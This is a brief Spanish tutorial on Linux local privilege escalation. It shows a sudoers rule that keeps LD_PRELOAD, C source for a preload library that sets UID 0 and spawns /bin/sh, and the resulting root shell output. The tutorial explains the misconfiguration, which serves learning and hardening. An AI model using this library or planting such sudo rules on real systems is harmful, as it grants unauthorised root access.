Las shared libraries son las librerÃas que se cargan en runtime mientras se ejecuta un binario, de este modo conseguimos binarios mucho mas pequeños y reutilizar librerÃas, el path donde buscarlas se define mediante la variable de entorno LD_PRELOAD o mediante el fichero de configuración /etc/ld.so.conf.
Si permitimos comandos mediante sudo y permitimos cargar las librerÃas compartidas que el usuario desee este podrá conseguir acceso como root.
Configuramos sudo para que nuestro usuario pueda ejecutar un ls como root, además le permitimos definir su propia variable de entorno LD_PRELOAD:
Defaults env_keep += LD_PRELOAD
kr0m ALL=(ALL) NOPASSWD:/bin/ls
Escribimos la shared library encargada de ejecutar la shell:
vi shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Compilamos la librerÃa:
Al ejecutar el comando mediante sudo tenemos el UID 0 temporalmente, como hemos cargado nuestra librerÃa esta se ejecutará presentándonos una shell con permisos de root:
sh-4.4# id
uid=0(root) gid=0(root)
grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)